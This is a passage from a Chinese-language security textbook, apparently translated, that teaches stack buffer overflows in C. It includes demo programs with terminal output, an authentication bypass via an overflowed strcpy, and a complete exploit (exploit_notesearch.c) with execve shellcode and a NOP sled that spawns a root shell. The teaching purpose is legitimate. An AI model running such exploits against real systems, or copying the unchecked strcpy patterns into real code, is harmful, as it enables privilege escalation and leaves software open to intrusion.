一、通用的漏洞发掘技术
大多数程序漏洞发掘与内存破坏有关,包括常见的诸如缓冲区溢出的漏洞发掘技术,以及不常见的诸如格式化字符串的漏洞发掘技术。使用这些技术的最终目标是控制目标程序的执行流程,以欺骗程序使其运行一段偷偷植入内存的恶意代码,这称为“执行任意代码”,得名的原因是黑客可根据自己的意愿命令程序做几乎任何事情。由于存在程序不能处理的特殊意外情形,便出现了这些漏洞。通常,这些意外情形会导致程序“崩溃”,使执行流从“悬崖”滚落。但若精心控制环境,即可控制执行流,阻止崩溃,通过重新编程来操纵这个过程。
二、缓冲区溢出
在计算机问世之初,缓冲区溢出漏洞就已经存在,并一直延续到今天。大多数 Internet蠕虫程序使用缓冲区溢出漏洞来传播,甚至Internet Explorer中的一些零日VML漏洞也是
由于缓冲区溢出造成的。
C 语言是一种高级编程语言,但假定编程人员负责数据的完整性。如果将这种责任转移给编译器,那么编译器会检查每个变量的完整性,最后得到二进制代码将耗费相当长的时间。而且这也会使程序员失去一个重要的控制层,使C语言更加复杂。
C语言的简单性确实增加了编程人员的控制能力,提高了最终程序的效率,但若程序员不够谨慎,这种简单性会引发程序缓冲区溢出和内存泄漏之类的漏洞。这意味着,一旦给某个变量分配存储空间,将没有内置的安全机制来确保该变量的容量能适应已分配的存储空间。如果程序员要将10个字节的数据存入只能容纳8个字节空间的缓冲区中,虽然这种操作是允许的,但这样一来,由于多出的2个字节数据会溢出,存储在已分配的存储空间之外,重写已分配存储空间之后的数据,从而导致缓冲区超限(buffer overrun)或缓冲区溢出(buffer overflow),程序很可能会崩溃。如果重写的是一段关键数据,程序必定崩溃。
实例代码:
/* overflow_example.c */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
int value = 5;
char buffer_one[8], buffer_two[8];
strcpy(buffer_one, "one"); /* put "one" into buffer_one. */
strcpy(buffer_two, "two"); /* put "two" into buffer_two. */
printf("[BEFORE] buffer_two is at %p and contains '%s'\n", (void *)buffer_two, buffer_two);
printf("[BEFORE] buffer_one is at %p and contains '%s'\n", (void *)buffer_one, buffer_one);
printf("[BEFORE] value is at %p and is %d (0x%08x)\n", (void *)&value, value, value);
printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", (int)strlen(argv[1]));
strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */
printf("[AFTER] buffer_two is at %p and contains '%s'\n", (void *)buffer_two, buffer_two);
printf("[AFTER] buffer_one is at %p and contains '%s'\n", (void *)buffer_one, buffer_one);
printf("[AFTER] value is at %p and is %d (0x%08x)\n", (void *)&value, value, value);
return 0;
}
你应当能够读懂以上源代码并理解程序的作用。在下面的示例输出中,程序编译后,我们试图从第1个命令行参数将10个字节复制到buffer_two,而给buffer_two 分配的空间只有8个字节。
reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'
[BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
[STRCPY] copying 10 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff7f8 and contains '90'
[AFTER] value is at 0xbffff804 and is 5 (0x00000005)
reader@hacking:~/booksrc $
注意,在内存中,buffer_one紧跟在buffer_two的后面。这样,将10个字节复制到buffer_two时,最后的两个字节将溢出到buffer_one中,并重写buffer_one的数据。
较大的缓冲区自然会溢入其他变量中。但若使用了一个足够大的缓冲区,程序会崩溃并终止。
reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAÄAAAAAAAPAAPA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAA'
[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $
这类程序崩溃十分常见,我们都见过程序崩溃或蓝屏时刻。一个需要注意之处是编程错误,应当在代码中对长度进行检查,或对用户提供的输入进行限制。这类错误容易发生且难以消除。实际上,前面的程序notesearch.c中包含一个缓冲区溢出bug。即便是熟悉C语言的编程人员,或许到此时才能留意到这一点。
程序崩溃只是令人烦恼,但是这种权利若转移给黑客,会产生十足的危险。知识渊博的黑客可在程序崩溃时控制它,并得到一些令人意外的结果。以下的exploit_notesearch.
代码演示了这种危险。
/*exploit_notesearch.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"
"\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x51\x89\xe2\x53\x89\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset = 270;
char *command, *buffer;
command = (char *)malloc(200);
bzero(command, 200); // zero out the new memory.
strcpy(command, "./notesearch '"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if (argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int)&i - offset; // Set return address.
for (i = 0; i < 160; i += 4) // Fill buffer with return address.
*((unsigned int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); // Build NoP sled.
memcpy(buffer + 60, shellcode, sizeof(shellcode) - 1);
strcat(command, "'");
system(command); // Run exploit.
free(command);
}
它生成一个命令字符串,该字符串将会执行位于单引号之间的notesearch程序。使用字符串函数执行此操作:strlen()获取字符串的当前长度(用于定位缓冲区指针),strcat()将结束单引号连接到尾部。最后使用系统函数执行命令字符串。在单引号之间生成的缓冲区是该程序的核心。剩下的只是传递这个数据毒丸的方法。我们可以监视这个受控制的崩溃能干些什么。
漏洞发掘能利用溢出提供root shell,即完全控制计算机。这是一个基于堆栈的缓冲区溢出漏洞发掘的例子。
exploit_notesearch通过破坏内存来控制执行流程,以下的auth_overflow.c程序演示了这个概念。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if (strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if (strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if (check_authentication(argv[1])) {
printf("\n-=-=-=-= =-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
}
else
{
printf("\nAccess Denied.n");
}
}
这个示例程序接收的唯一命令行参数是一个密码,此后调用函数check_authentication该函数允许两个密码,即允许多重身份验证方法。如果使用了两个密码中的一个,该会返回1,此后将授予访问权限。在编译代码前,可通过查看源代码推测出它的大部分能。但编译代码时,可使用-g选项,因为随后会对其进行调试。
到目前为止,一切都按源代码指明的那样工作。计算机程序本应当按确定的方式工但是,溢出会导致发生意外甚至矛盾的行为:不输入正确密码也能访问。
reader@hacking:~/booksrc s ./auth_overflowAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader&hacking:~/booksrc $